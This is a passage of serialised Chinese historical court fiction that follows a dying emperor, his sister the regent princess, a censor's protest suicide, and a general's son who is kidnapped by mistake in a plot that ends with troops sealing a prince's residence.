明绰见他停了下来,以为他是累了,便朝跟在身后的任之使了个眼色。御苑中的亭子早已被收拾出来,拢了暖炉,铺了厚厚的棉垫子。明绰拉着萧盈到亭子里坐下,给他倒了一杯热茶,才听到萧盈低笑了一声,突然道:“他一生纵横九州,也算不枉了。”
明绰闻言抬头看了他一眼。不知道为什么,她突然想起了很久很久以前的事情,那时也是一个雪很大的冬天,她第一次听到萧盈说起了西海十八部,乌拉山的险峰和神女湖的清水都好像他亲眼所见。
那时明绰对皇兄还有一些孩童式的仰望,觉得他怎么什么都知道。倏忽半生而过,才突然意识到,萧盈坐拥南朝辽阔江山,却从来没有出过建康。那些都是别人告诉他的。
反而是当年那个无知又好奇的小女孩儿,竟然走过了那么多地方,见到了太父教过的三川谷地,兵家必争,也见到了风沙古道,大河夜涌。
明绰一时怅然,只好无言地把暖手炉塞到他怀中,又给他拢一拢貂裘,细致得让萧盈都有些哭笑不得了:“哪就这么畏寒了?”
明绰垂了眼:“你不畏寒,你是不知寒。”
这比畏寒还可怕,她只是不小心触到他的手指,都觉得冰得她皮肉发紧,萧盈自己却好像没察觉到什么。
萧盈笑着张了张嘴,似是还想说什么,但是明绰已经被引开了注意力。萧盈便随着她的视线转过头去看,只见一个内侍走近,到任之耳边轻声说了什么,任之立刻变了脸色,但又用最快的速度调整到面色如常,轻轻摆了摆手,让那传话的内侍退下了。
明绰意识到了什么,突然倾身过去,想扶萧盈:“皇兄,太冷了,还是早些回去吧?”
萧盈也不理她:“任之。”
任之只好小步进了亭中,伏身跪拜:“陛下。”
“怎么了?”
明绰只好闭上了嘴,任之更不敢不答,轻声道:“禀陛下,宫门来报,御史中丞卒了。”
明绰马上抬眼看萧盈的反应。但他没什么表情,仍旧端着手里的热茶在喝,等喝了两口,才问了一句:“怎么这么突然?”
任之先看了明绰一眼才回答:“陈公绝粒而死。”
一片沉默。
绝食而死当然不会“突然”,明绰早就知道了。那日谢运送去了喜饼盒里的一支断笔,当夜起,陈缙便整了衣冠,端坐绝食,到今日,已足足八天。
陈缙选择这种最贞烈的方式,就是为了给长公主施压,给陛下施压。但明绰摁住了消息,一直没让萧盈知道。这八天里,陈缙的学生、故交、家人全都跪在门外苦劝,但是他岿然不动。他是只有死路一条了,长公主就是要他死。但死之前,他也要逼得长公主罢朝——至少说明她还是有所忌惮的。
萧盈还是沉默着,手指紧紧扣着瓷白茶盏。茶已经没有热气了,看起来像是快要被他身上的寒气冻结成冰。明绰只犹豫了很短的片刻,就从棉垫上下来,跪到了冷硬的砖地上,伏身行礼:“皇兄,臣妹有罪。”
萧盈闭了闭眼,没有马上伸手去扶她。
陈缙最后一次见他的时候,他其实也起了杀心——没有人能真的做到几十年如一日、每时每刻都从善如流的,萧盈自问也不是圣人。但他还是克制住了,甚至非常有耐心地与陈缙辩论起来。
萧盈想知道,明绰究竟做错了什么,让陈缙这样容不下她。所谓的“卖官鬻爵,受贿纳财”真的有这么严重吗?若是如此严苛地去衡量朝臣,那为君者真的还有可用之人吗?
说她结党,她真的结了吗?稷儿的起居她关心,秧儿的终身她操办,这不都是一个慈爱的姑母所为吗?比起她,袁增和桓廊哪个不更有私心?
陈缙说来说去,就是长公主僭越干政,可是这特权就是萧盈亲口许的,哪来的“僭越”?她甚至在查大将军的贪污,那可是她的家君。已经公允至此,朝中又有几人能做到?怎么就惹得御史中丞死谏?
说到后来萧盈都动了怒,陈缙跪在地上,半晌,只提醒了他一句,“谢后谋逆之心未绝矣”。
陈缙担心的不只是女子“干政”。如果镇国长公主
不够呢?摄政监国之权也不够呢?她会不会又重新找出那件为她量身裁定的天子衮服?会不会又把谢太后当年的旨意拿出来,昭告天下,说他其实根本不是怀帝的骨肉?
到那个时候会是什么局面?即便她确实是如假包换的萧氏公主,可是在她之后呢?女子无嗣,大雍的江山要落进谁的手里?是她与袁綦日后的孩子吗?大雍难道从此改祚易姓,要姓袁了?又或者,她和袁綦没有孩子,她唯一的继承人,是大燕天子乌兰晔。
萧氏以雍为号,历四代而不忘长安,难道就是为了让一个异族人来一统天下吗?南朝不可能答应,但乌兰晔也不可能不来抢,届时两朝开战,生灵涂炭……北地这么多年的血流成河,难道陛下要眼睁睁地看着这样的命运也降临到大雍吗?
说到最后,陈缙狠狠地把头磕下去,发出“咚”的一声,然后变成盘旋不去的叩问,在含清宫里久久回荡。
真的不在乎后世如何议论吗?真的不在乎他一生心血所维系的和平与繁荣吗?真的不在乎他的孩子们会因为冒充皇室而落得什么样的下场吗?——真的,就那么相信她吗?
萧盈睁开眼,视线落到了杯底。还剩半杯茶,但已经凉了。茶叶缓缓地舒展开,自己打着旋,像是某种活物。萧盈突然觉得有点儿恶心,好像那活物是从他胃里爬了出来。
“起来吧。”他放下了手里的茶。
明绰竟未敢动,抬头看着萧盈。
“不怪你。”萧盈又说了一遍,起身去扶她,“逼死他的是朕。”
明绰顺着他的动作起了身,皱着眉头唤了他一声:“皇兄……”
萧盈只道:“你好好料理陈缙的身后事,他为国尽忠,多年辛苦,该封就封,不要记恨他。”
明绰看了他一会儿,然后点了点头:“是。”
萧盈便道:“那就去吧。”
明绰有些意外:“现在……?”
萧盈朝她笑了笑,很轻松的神情。明绰便要来扶他:“我先送你回去……”
但是萧盈摇了摇头,握住她的手拍了拍:“你去料理,我再走走。”
明绰不太放心地看了他一会儿,萧盈不可能没有察觉到她隐瞒了陈缙绝食一事,但他看起来完全不在意。明绰只好微微屈膝,行了个礼,准备先行告退。但是走也走得非常不放心,两步就回过头,又道:“那别累着了,更别着凉!”
萧盈唇边的笑意更深,很不耐烦似的,朝她挥了挥手。明绰这才皱着眉头转身走了。萧盈看着她的背影慢慢消失在了雪地里,唇边的那抹笑便也越转越淡,终于看不见了。然后他自己也下了凉亭,很小心地踩进了明绰刚刚踩出来的脚印里。但他的脚比明绰的大,一踩下去,就覆盖了她的。
萧盈又停在那里,出神地盯着雪地看。
任之想来扶他:“陛下……”
萧盈没有抬头:“你也瞒着朕?”
任之立刻跪下:“奴婢不敢!”
萧盈叹了口气,面前马上升起了一团白雾,笼住了他的眉眼。好像真的还是挺冷的,她在身边的时候才没觉着。萧盈把暖手炉捂紧了一点,但也没感觉到热,只觉得手是麻的。
“陈缙为何绝食?”
任之:“是谢运送了一支断笔给御史中丞……”
萧盈笑了一声,又是一团白气冒出来。
断笔啊……原来是讽刺他言路已断、无谏可纳。真够刻薄的,怪不得陈缙这么大的气性。
“谢运送的?”萧盈低下头,看了一眼任之。任之也不知道能怎么回答,谢运当然是受了长公主之命,可他能说吗?
萧盈也不逼他:“起来吧。”
任之这才起身,还发着颤。衣上沾了雪,尤其两个膝盖,已湿了一片。萧盈淡淡地扫了他一眼:“你先回去换件衣裳吧。”
任之摇了摇头:“不妨事,奴婢……”
“回去。”萧盈又说了一遍,“你若是着凉,朕禁不起你过病气。”
这倒是实情。任之把话憋了回去,不安地看了萧盈一眼。他已经抬起腿往前走了,也不知道是要去哪儿。任之赶紧朝跟着的内侍和宫人们使了个眼色,让他们小心伺候着,然后自己转身,用最快的速度跑了回去。
萧盈其实也不知道自己想去哪儿。卞弘说,他自己觉得“气足”就行,就还能走动。他今日还行,走了好长一段路,也没觉得喘不上来气。走多了,身上还真觉得热了起来,连那暖手炉也不必了。他转身交给了身后跟着的人,再一回头,看见有人跪地请安了,才发现这是哪儿。
他居然一路往西南,走到掖庭宫了。
在掖庭看守的是殿中宿卫的兵。这里不是什么好差事,所以也稀稀拉拉的,站得不是很齐整,乍然看见陛下来了,吓得跪了一地。领头的大约是在里头避寒躲懒,听见动静才抱着盔手忙脚乱地滚出来,话都说不利索,直打磕绊。
萧盈本来想直接就走了,突然鬼使神差地,抬脚跨过了掖庭的门槛。
他从来没有进来过这里,但冥冥之中,他就知道自己要往哪里去似的,半点犹疑都没有。那个结结巴巴的掖庭卫赶紧站起来跟着进来,还在雪地里打了个滑。等他稳住身子,再定睛一看,陛下已经进了西院——那里本该重兵看守着皇室的罪人。
但西院现在没有囚犯。宗室中的罪人们已经在一次一次的清洗里杀干净了,大雍承平二十载,没再出过谋逆。最后一个囚犯是燕康王的母亲郗夫人——她也在多年前让陛下恩赦了。萧盈停在门口,好像不舍得踩到那片新雪上。
“陛下……”掖庭卫终于跟了上来,还是胆战心惊的,“陛下怎么突然……”
萧盈伸出了手,突然指了指一扇窗,问他:“那是什么地方?”
掖庭卫愣住了,张口结舌:“就是个厢房……”
萧盈有些好笑似的,换了个问法:“那里住过谁?”
掖庭卫惶恐地吞了口唾沫,在大冬天里出了一身汗。萧盈看了他一眼,在他说出来之前,就已经知道了答案。
怪不得走着走着,就走到了这里。
“别跟进来。”萧盈对那掖庭卫说了一句,终于抬脚,踩上了院中的新雪。“嘎吱”一声,像骨头碎了。萧盈没停,走了好几步,那声音连起来,粉身碎骨了二十年,然后他把门推开,年久失修的木门不情不愿地发出拖长的“吱呀”一声,好像谁在哭。
光洒了进来,一道尘埃在空中连出一条通途。女人端坐在床边,似是被这声音惊动,微微一动。他以为自己已经不记得她的模样了,见到她的时候才意识到,其实他从未忘记过。
“母后。”萧盈叫她。
谢拂霜抬起了头,看着他。她没有说话。更多的灰尘扬起来,迷住了萧盈的眼睛。他快速地眨了眨,谢拂霜就不见了。她咽气的床上只有一块板,连被褥都被收走了。萧盈又走了两步,沾着雪水的脚在布满灰尘的地上踩出一圈湿渍。然后他无声地坐在了床边,手指伸出来,在床沿积满的灰尘里摸到了枯骨般的手指。
“你在等我吗?”萧盈问她。
谢拂霜转过脸,朝他笑了。她比他记忆里还要年轻,但萧盈觉得这应该不是他的记忆,因为谢拂霜没有这样对他笑过。
“是啊。”她眼神温柔,“我已经等你很久了。”
第179章
月下雪融,寒意逼人。夜已深,临街的铺面还点着灯,仍有人声喧阗。酒肆里的小厮手里提着灯,弓着腰,在门口给贵人们照着路,一声一声殷勤地叮嘱着,小心滑。
建康多年实行宵禁,入夜之后本是绝对不许还有商户开门点灯的。但前些年新上任了一个处事圆融的京兆尹,特许了福光寺的夜间法会,于是很多小商贩都聚集到这一片来做生意。夜市热闹起来了,官府便又沿着河往下划,南大街这一片的酒肆食馆也都可以夜间开门。若是吃酒吃得晚了,晚上走在街上,官府也睁只眼闭只眼,不抓了。
如今在建康,稍有些头脸的已经不流行在家开宴了,都是到南大街上去包个席面。
袁綦已喝得半醉,很倔地不要人扶,自己从酒肆的门槛里跨出来。跌跌撞撞的,往外一摔,撑住了一根门柱就吐了。
店里还有人跟袁綦打招呼:“这不是袁将军吗!”
袁綦睁着眼回头去看说话的是谁。眼熟,但他叫不上来名字了,所以他就“嘿嘿”一笑。他笑了,那人便要来拉他:“来来来,袁将军赏个脸,一起喝一杯……”
谢运突然从一边蹿出来,赶紧拦:“行了行了,他不能再喝了!”
袁綦梗着脖子:“能喝!”
谢运一把把人拽住,小声地骂了一句:“你能喝个屁!”
他要去益州赴任,今日本是跟京中几个交好的喝一杯。桓湛竟也赏脸来了,自从桓宜华跟袁煦和离之后,这还是他们第一次有机会坐下来喝一杯。袁綦心里发闷,想想他从益州回来还不到一年,发生了这么多事情,那酒就停不下来,一杯接一杯的,直喝到自己冲出来吐。
他们的席面在楼上,谢运想把袁綦从闲人身边拉开,带他回去。但是袁綦突然站住了脚,不肯动了。
“又怎么了……”
“那是……?”袁綦眯起眼睛,突然看到了店堂角落里一桌人,“宋询?”
谢运也转头去看。可不就是宋询?他在外面喝酒倒也没什么,但看见了袁綦
,闲杂人等都知道上来打个招呼套个近乎,他却缩在角落里,看见袁綦和谢运的目光都转过来,他还欲盖弥彰地扭过了脸,缩着脖子,不愿让他们看见似的。
他身边还有好几个人,年龄都跟他差不多,看见袁綦,也都是畏畏缩缩、受了惊吓的样子。
袁綦笑了一声,突然凑到了谢运耳边:“我揍过他们。”
“什么?”谢运艰难地扶着他的肩膀,想让他站直,“你揍过宋询?”
“不是,他身边那些……狐朋狗友……”袁綦指了指,“姓庾的,姓赵的……还有那个……”他记不起来了,反正就是揍过,“他们欺负我们家韶音……”
他抬起腿就想往那边走,谢运赶紧拦住。袁将军的宴本来是在楼上的,这会儿另外两个一起喝酒的也都下来了,看见这架势,都赶紧上来扶。七嘴八舌地劝着别喝了,一边把袁綦拥着出了酒肆。
“结账……”袁綦还没忘了这事儿,往自己腰上摸,“我钱呢……”
“行了,我去。”桓湛皱着眉头,跟谢运交代了一句,“士甫,你照顾着他。”
袁綦还不肯依:“不行,我做东啊!”
桓湛不耐烦地挥了挥手,理都不理他,自己进去找店家结账。另一个旧部手里头抱着两件大氅,谢运捞起来一件就往袁綦身上罩:“别着凉了……”
“士甫,那我就先……?”那人把手里另一件也交给谢运,歪了歪头。
谢运心不在焉地点头:“行,你先回吧……”
那人又跟袁綦说了两句告别的话,但是袁綦也没往心里听,低头看着自己身上绛色的大氅,慢半拍地嘀咕了一句:“这不是我的。”
谢运压根没听见。桓湛已经出来了,皱着眉头看他:“怎么着?我们送你回去,还是叫人来接你?”
袁綦好像清醒了一点儿,抬了眼,看看桓湛,又看看谢运,然后笑了一声:“你们俩,谁愿上我家门?”
谢运和桓湛便对视了一眼,谁也没说话。谢运现在跟袁增有仇,桓湛则是不想看见袁煦,确实是谁都不想进袁府的门。谢运本想说把袁綦送回公主府,但刚张开嘴又还是自己咽下去了。
袁綦还是笑,不怎么在意地挥了挥手:“没事儿,我自己能回去。”
谢运“欸”了一声,似是还想去扶他,但是袁綦已经挣开了他的手,也不跟他们多啰嗦什么就此别过的话,挥了挥手,转身就走。
谢运叹了口气,把手里还剩下的那件黛绿织纹大氅披到肩上,桓湛看了他一眼,便道:“这不是仲宁的吗?”
谢运愣了一下,低头看了一眼才道:“哎呀。”
袁綦还没走远,桓湛刚想张口把人叫住,谢运便拦了他一下:“小事,明日再说吧。”
桓湛没在意,点了点头:“也是。”
两人便在酒肆门口别过。才刚走开,宋询就带着那几个人也从酒肆里出来了。
“贵人小心——”酒肆的小厮殷勤地出来给他们照路,但是宋询冷着脸挥了挥手,没让他说话。
那姓庾的少年人左右张望了一番,指了指稍远些那个绛色大氅的背影:“是那个!”
宋询脸色更冷,沉了声音,道:“走!”
只有南大街还是有灯亮着的,袁綦拐了个弯,就完全没亮了。好在今夜月光不错,路边堆着的雪映着月光,也能看清路。就是实在冷,袁綦踩在雪水混着泥水的路上,每一步都湿叽叽的,动静很大。
虽然看不清到底什么情形,但感觉脚面已经完全被浸湿了,也不知道要脏成什么德行。他有些嫌弃地停了停,却听到身后传来了同样动静很大的脚步声,然后慢半拍地跟着他停了下来。
袁綦在月下动作很慢地抬起了头,眼中已经一丝醉意也不剩。
不止一个人,但不是什么训练有素的队伍。袁綦若无其事地抬起脚,继续往前走,身后的脚步声果然也跟着响了起来,荡在了空无一人的街上。四个?五个人?是匪人?还是在酒肆里见到他打扮,一时起意的宵小?袁綦好笑地舔了舔牙根,真会挑人打劫。
他一时未动声色,又往前快走了几步。身后的脚步声果然一下子急促起来,他们显然也意识到袁綦已经发现了他们的存在,突然有个声音下了令:“抓住他!”
袁綦原本已经蓄力的拳头突然松开——宋询?
只是一愣之间,已经有两个人从身后朝他扑了上来。袁綦没有想到他们上来就用一个臭烘烘的麻布袋子套住了他的头,视线被整个盖住,下手就难免有些没轻重。只听一声痛呼,离袁綦最近的人已经被他抓住了腰带,从侧边狠狠地掼出去。但也就在那一瞬间,有人已经把绳索套到了他脖子上,狠狠地往后一扯。袁綦立刻顺势仰倒,以免被瞬间勒得窒息。就在此时,黑暗中听见了利刃
出鞘的声音——
“别动刀!”又是宋询的声音,“大将军要活的!”
袁綦一下子不动了,有人狠狠地在他肚子上踢了一脚,他也没还手,只是蜷起身体护住了身上软的地方。好几只手一起伸过来,把绳索缠到了他的手上。他们气喘的声音就挨在离他很近的位置,但宋询说下一句话的时候,听起来还有一点儿距离。
“谢司马识时务。”宋询冷笑了一声,“大将军有请!”
—
“你再说一遍?”明绰压低了声音,难以置信地看着任之,“他那天走到了哪儿?”
任之的声音也很轻:“陛下去了掖庭宫。”
明绰还是没明白:“掖……?”
她没说完,卞弘已经收了脉案。明绰立刻抛下任之,急切地看着卞弘。但是卞弘只是抿紧了嘴,摇了摇头,示意他们出去说。萧盈已经闭上了眼睛,不知道是真睡着了,还是没力气睁眼。明绰心里顿时升上来一股躁意,之前还好好的,她就是去处理了几天陈缙的后事,萧盈就又这样了。
他这几天都没让明绰来含清宫,也不肯让她知道他的身体状况。明绰感觉他是为了陈缙之死,心里在怪她。
“卞大人,”明绰着急地开了口,“他是不是又着凉了?”
“是。”卞弘点了点头,然后就没往下说。明绰看了他一会儿,提醒了一句:“那……开药啊?”
卞弘叹了口气——那股躁意一下子顶到了明绰的喉咙口,让她甚至有一种杀了这老头的冲动。然后她听见卞弘轻声道:“陛下经不住药性了。”
“什么意思?”
卞弘没有重复,抿着唇,看着明绰。很显然,他就是那个意思。
明绰非常抗拒地把头往后一仰,脸上是极其恼怒的表情:“你才说过他好转了!”
卞弘还是没说话,那已经是入冬以前的诊断。他的心痛之症确实是有了一点好转,现在发的也不是旧疾。但心脉的损伤早已拖垮了他整个身体,他太虚弱了。而冬天本来就是对他来说更难熬的。
明绰下意识地握紧了手指,寸许长的指甲狠狠嵌进了掌心。
“是我的错……”她近乎自语,“我不该拉着他出去在雪地里走……可你说,他如果有力气,就该多动弹动弹……”
卞弘:“长公主知道……油尽灯枯吗?”
这不是她的错。从卞弘的私心来讲,萧盈到今天还活着,已经是个奇迹了。
这话卞弘不敢说出来,也不能真不治。可是只是受了些寒,也实在无药可开,萧盈的身体也受不住了。只能让他卧床,保暖——也许陛下真的还能熬过这一次呢?这么多年,卞弘早已见识过萧盈超乎常人的意志力。他不肯认输的时候,好像连阎王都必须听他凡间君王的号令。
但他也必须提醒长公主,这次,是真的要做准备了。
明绰听明白了他的意思,让他先退下了。夜已经很深,她想进去看看萧盈,但又怎么都平复不了心里被油煎一般的痛苦。她连坐都坐不住,一味焦虑地在外面踱步。
卞弘那话,当然不只是说“准备”后事。当然,他只是太医令,没有必要卷进这些争斗里去,他说这话是纯然地出于私人感情。这些年他看得最清楚,长公主才是最关心陛下的人,所以他希望长公主赢。
她也没有更要紧的事情要“准备”,无非就是要抓紧,铲除袁增。
桓廊现在和她一样,都希望建安王即位,倒是还没到你死我活的时候。等新帝即位,她必定有辅政之权,有的是时间慢慢周旋。但袁增有军权在手,等萧盈传位给建安王的旨意一下,他十有八|九会动手。
可是袁增太狡猾了。
明绰下令彻查他贪污之事,查了两个月,原本的证人竟然一个接一个地消失了。青州当年的盐贩头子早就被杀光了,死无对证,谢维想尽办法找出了当年被罢免的盐官,本来说得好好的,到了堂上,他竟突然翻供,反而说是谢维对他威逼利诱,要他来诬陷大将军。
军曹尚书本来也是指控大将军的,近日突然递了折子辞官,明绰想亲自去拜访,发现他竟然已经携家带口地离开了建康。
若是贪污这种罪拿不住他,难道,真的要逼到袁氏造反那一步?明绰迅速地在心里衡量了一下她的胜算。崔挺自然听她号令,宿州大营剩下的执金吾卫多是桓湛的旧部,桓氏在这关头也会帮她的。真要到与袁增兵戎相见的地步,她未必会输,但桓氏就又立下保驾之功,日后再要相斗……
还有,真到了那一天,袁綦就没有活路了。
明绰终于停下了踱步,感觉自己头痛欲裂。阴青蘅熟悉的声音在殿外响起,明绰抬起头,看见任之并未阻拦,任她轻手轻脚地走了进来。
“长公主,”阴青蘅跟她禀报,“谢司马递了信进宫,有要事求见。”
明绰按住了自己的太阳穴:“这都什么时辰了,让他明日再来——”
“传。”
明绰猛地转过头,发现萧盈无声无息地站在她身后,不知道已经站了多久。她赶紧起来要搀扶,但是萧盈微微抬手,示意她不必。他自己坐了下来,看起来好像也没那么虚弱。
明绰还是很担心,轻声道:“你去休息就是,我来……”
萧盈终于握了握她的手。太冰了,明绰后半截话突然被他的体温冻住。
“你早些回去休息吧,朕没事。”萧盈的语气很平静,听不出来一点儿情绪。但明绰一下子僵在了那里,听出了他话中逐客之意。
“传谢运。”萧盈好像根本没察觉到她的反应,又说了一遍,“朕听听,是什么要紧事。”
第180章
袁綦双手被缚,头上还套着麻袋,脖子里用一根粗硬的麻绳捆住,勒得严严实实,被扔到了地上。宋询和他手下的人什么都没说,把他留在这里,就关上门走了出去。
但是他们没有走远。袁綦凝神细听,能听见那个姓庾的在门外问宋询话,言语之间十分恭敬。宋询留了一句,让他们把人看住,便再无交谈之声。
袁綦心中不禁觉得好笑。几年前跟他们那帮狐朋狗友打交道的时候,他们之中发号施令的“老大”是那个庾家的少年,宋询也不过是个狗腿子。如今谢后被废,庾家也受牵连,眼看着倒是风水轮流转了。
他们现在显然都是在帮父亲做事。
袁綦用手肘撑住了地,整个人坐直。麻袋里不至于窒息,但也闷得很。大冷天的,已经给他闷出了一头汗。酒气都随着汗液渗出来,反倒让他头脑清明了几分。
还好他和士甫穿错了大氅,要是士甫落进他们手里,可就糟糕了。袁綦腰上发力,轻捷地站起了身,两个肩膀往后扣,鼓捣了一会儿,想从绳索里挣开。试了两下无果,他就没有白费力气,伸了脚在昏暗中探路,想摸索摸索这是个什么地方。
这里不是袁府。进第一道门的时候,他隔着麻袋看到了檐下挂的灯笼,自己家里他还是认得的。但也不像是丰喜县侯府上,因为他们进来以后又穿了好几道门和回廊才到这个房间,宋府没这么大。
袁綦用脚步简单丈量了一下,房间不大。外面有昏暗的光漏进来,隔着麻袋,能勉强看到角落里堆着很多东西的轮廓,闻起来还有一股霉味,像是扔杂物的库房。
他一个没看清,脚下便踢碎了一个瓦罐。一股刺鼻的腐臭味一下子蔓延开来,也不知道里面本来酿的是什么。门口马上就有人敲了敲,威胁道:“老实点儿!”
袁綦深吸了一口气,然后屏住呼吸,背过身去蹲下,手在地上摸索着。瓦罐上有滑腻腻的触感,但他顾不得恶心,摸出来一块趁手的碎瓦片,开始用力磨绳索。
他正使力,就听到听门外突然同时传来了几个声音:“夫人留步!”
然后便是宋询紧跟而来的声音,焦躁又恼火,追在了那位“夫人”身后劝阻:“娘!”
是敬漪澜。袁綦反应过来,这里竟是平阳王府。
“别叫我娘。”敬漪澜的声音冷冷的,“你又干了什么?”
“不关你的事!”
“这里是我家,你深夜带着不明不白的人回来,怎么不关我的事?”敬漪澜说完就要闯门,又被门口守着的人拦住。她的声音提高了一些,“都给我让开!”
门口的人没敢让。声音一时有些混乱,敬漪澜肯定也带了人,在门外推推搡搡的。
敬漪澜压着声音,听起来恼火得不得了:“你欺负秧儿管不了,在他家里做这种腌臜事……”
然后敬漪澜的声音就闷起来,像是被捂住了口鼻,好几个人的声音七嘴八舌地喊着“夫人”,闹成了一团。
“一母同胞的兄弟……”宋询喘着气,显然捂着母亲的人就是他自己,“娘只偏心弟弟!”
“放屁!”敬漪澜把人挣开了,提起一口气来骂他,“你还知道你们是兄弟?你像个兄长的样子吗!你为虎作伥,我管不了,也不想管你了!但你居然把人弄到你弟弟的院子里杀!尸体就往后院里一埋,你倒是方便啊!你指望着把秧儿拉下水,他就能护着你是不是?”
袁綦一个激灵,突然明白那几个本该指证父亲的人证是怎么消失的了。
宋询听起来已经急得语无伦次了,只是一再央求母亲别说了,但敬漪澜根本不听:“我现在就去告诉长公主——”
“夫人,何必这么大的气性啊?”
袁
綦听出了父亲的声音,只是愣了片刻,就赶紧更快、更用力地磨起了手腕上的绳。碎瓦片抵在他的掌心,先把他的手磨出了血,他也感觉不到似的。
宋询有些讷讷的,叫了一声:“大将军。”
袁增抬了抬手,让他退下,眼睛只看着敬漪澜:“夫人要去告诉长公主什么?”
敬漪澜没有立刻回话。她戒备地扫了一圈,袁增身边还拥着好几个人,都是平阳王的属官。但敬漪澜再清楚不过,他们和宋询一样,都是给袁增卖命的。她虽然身边带了几个下人,但显然不是这些人的对手。如此势单力薄,还要跟袁增顶嘴,显然不是很明智。可敬漪澜也不愿意在袁增面前低头,所以只是冷冷地“哼”了一声,丝毫不惧地直视着他。
袁增的眼睛微微眯了起来,歪着头打量这个女人。
他弄不明白。他一心要扶立平阳王,最不支持的竟然是敬夫人。天下怎么会有这样的母亲?
“夫人,”袁增往前了两步,轻声细语地,又问了一遍,“要去告诉长公主什么?”
袁綦咬紧了牙关,手臂因为持续不断地发力而感到剧烈的酸痛,但他一点儿也顾不上。父亲这样的语气他再了解不过。
但敬漪澜似乎没听出袁增话里隐隐的杀意,问道:“这房里关的是谁?”
袁增也没有丝毫要瞒她的意思:“谢运。”
“大将军连谢运都敢杀?”
“我也可以不杀。”袁增甚至还笑了一声,说得慢条斯理。他的声音稍微提高了一些,对着房门里面说话,“只要谢司马识时务,肯随我儿回益州去。”
原来是为了这个。袁綦恨不得心里蹿起来的这股火能烧断捆着他的绳。父亲一个字都没跟他提过,甚至连一句哄骗式的商量也没有。袁綦可以想象,父亲会把谢运硬塞到他军中,然后给他下令,要求他配合着把谢运带离建康,并且看管他,甚至还会以此来威胁谢维。如果袁綦不愿意,那就是他忤逆不孝。
袁綦抛下瓦片,使出了全身的劲,闷哼着狠狠一挣。已经被磨断了一半的绳索发出“啪”地一声,彻底断了。
外面没人听到这细微的动静。敬漪澜一个字都不打算跟袁增多说了,转头就要走。但是袁增笑了一声:“夫人留步。”
他身边的人立刻行动起来,拦住了敬漪澜的去路。宋询下意识地往前迈了一步,还想护着母亲:“大将军……”
“袁某实在是不明白了。”袁增只当没看见他,唇边笑得讽刺,“我一心想让你做太后,你却怎么都不肯领情。长公主到底给了你什么好处,你要这么帮她?”
敬漪澜回答得毫不犹豫:“自由。”
袁增非常意外地挑了挑眉,摊开了手:“等你当了太后,你想怎么样就怎么样,岂不是更自由?”
敬漪澜冷笑了一声,只道:“你做梦。”
袁增只好把手放下,很惋惜似的:“那就没办法了。”
他抬了抬手,便有人抽出了兵刃。宋询又叫了一声:“大将军!”却不敢上前一步。敬漪澜强撑着一股气,昂着头,却也没忍住退了半步,在刀光闪过的片刻闭紧了眼睛——
只听突然一声巨响,守在门边的人毫不设防,被击飞的半扇门当头拍到了地上。所有人都转过了头,但没有人看清楚发生了什么。有个人影突然蹿了出来,他离敬漪澜还有十步之距,怎么也来不及奔到,眼看着刀光就要落下,他突然丢出来一把破破烂烂的笤帚,精准地砸到了持刀之人的手腕上。
持刀人下意识地“啊”了一声,话音未落,那人影已掠到了眼前。只听“喀拉”一声,持刀人的手腕应声折出了一个恐怖的角度,刀已落入来人手中。他的动作行云流水,也不等受伤的人发出惨叫,当胸一脚把他踢开,一手拉住敬漪澜,把她护到了身后。
一根绳子系在他脖子里,结在后颈,系得很牢,所以他还没能把头上的麻袋拽下来。敬漪澜睁大了眼睛,叫了一声:“谢……”
可是袁增已经认出了他的身手:“住手!都住手!”
原本要挺刀而上的人全都停在原地。袁增的胸口剧烈起伏了两下,睁大了眼睛,难以置信似的看着眼前的人。他比谢运足足高出了一个头,又瘦削,腰带上镶的玉还是他亲手赠的,他们兄弟两个一人一块……袁增往前走了两步,有人不放心地唤了一声“大将军”,但袁增置若罔闻,好像看不见他手里的刀。但等大将军走到这人面前,突然从袖中拔|出一柄匕首的时候,这人也没有躲,在原地站得笔直。
袁增扬起手,自下而上,划开了勒紧头面的麻袋,露出了这人的真容。
袁綦看着他:“父亲。”
父子两个一时什么都没有说,袁增看着他,看起来没什么表情,但太阳穴鼓起,带着额上一根青筋不断地跳。有那么很短的一瞬间,他似乎也表现出了某种慌乱。很多事情他是不让袁綦知道的。但很快,这种慌乱又被愤怒重新取代。
袁增转过头,要吃人似的,朝宋询逼近了一步。宋询倒吸一口冷气,腿一软,往后一倒。
“我……我……”他冷汗直下,“大将军,我不知道……我以为……这就是谢运的衣服!”
袁增再次把头转回来,上上下下地看了儿子一眼,然后猛地闭上了眼睛。
谢运。好个谢运!
“父亲,”袁綦的声音反而很平静,“够了。”
“还轮不到你来教训为父!”袁增咬了咬牙,避开了袁綦的眼神,“把他给我带下去——”
但他话还没说完,就听到了什么动静,一瞬间睁大了眼睛。其余的人也都听到了,那是从外面传进来的,马蹄和人的脚步声混在一起的动静,正在快速地朝平阳王府逼近。
“大将军!”有人叫了一声,语气慌乱,指望袁增下一道命令。但是袁增没说话,他站在那里,听着大队人马不断逼近,脸色越来越难看。
“秧儿!”敬漪澜突然发现了儿子的身影。他不知道什么时候站在了暗处,身上还是就寝时穿的单衣,披头散发,面色惨白。袁韶音攥着他的手臂,也是一脸惊恐地看着后院里的剑拔弩张。
敬漪澜疾奔数步,还想把他们俩护在怀中:“没事……”
外面的声音已经很近了,然后非常整齐地停了下来。从他们的位置抬头看,可以看到一墙之隔外的暗夜,已经被军队手里的火把照得有如白昼。
“奉天子诏!”崔挺的声音从外面传来,“封禁平阳王府,诸人不得出入,违令者,斩!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第181章
冬日的天明得晚些,当第一缕晨光洒到崔挺的金甲上时,宫门已开多时。他翻身下马,刚准备步行入司马门,就听见背后传来了一声呼唤:“中尉!”
崔挺回过头,只见桓湛骑在马上,沿街飞驰而来。他猜也猜到是什么事,转头就想赶紧往宫里进,但是桓湛又叫了一声,心急如焚。崔挺咬了咬牙,到底是心里一软,停在宫门外,看着桓湛几乎是从马上滚到了他面前。
“中尉!”桓湛上气不接下气,“怎么会……”
他没站稳,行个礼倒像是要给他跪下去,崔挺忙扶了他一把,生硬道:“我也是奉命行事!”
桓湛舔了舔唇,只道:“我两个外甥是无辜的……”
崔挺就知道他要说这个,立刻皱起了眉头。他去袁府的时候就已经有人去清河君夫人府上报信了,等他再到清河君夫人府上捉拿袁博的时候,也已经有人跑出去报信了,想也知道桓宜华会找谁。
桓湛看着他的脸色,飞快在两个孩子里做了选择,先保小的:“博儿已经过继给长公主了,袁家的事情不关他——”
“袁博是过继给了袁綦。”崔挺硬邦邦地打断他,“袁綦是在平阳王府被当场捉拿的,他的嗣子,怎么没关系?哎呀,你回去吧,总之牵扯不到清河君夫人头上……”
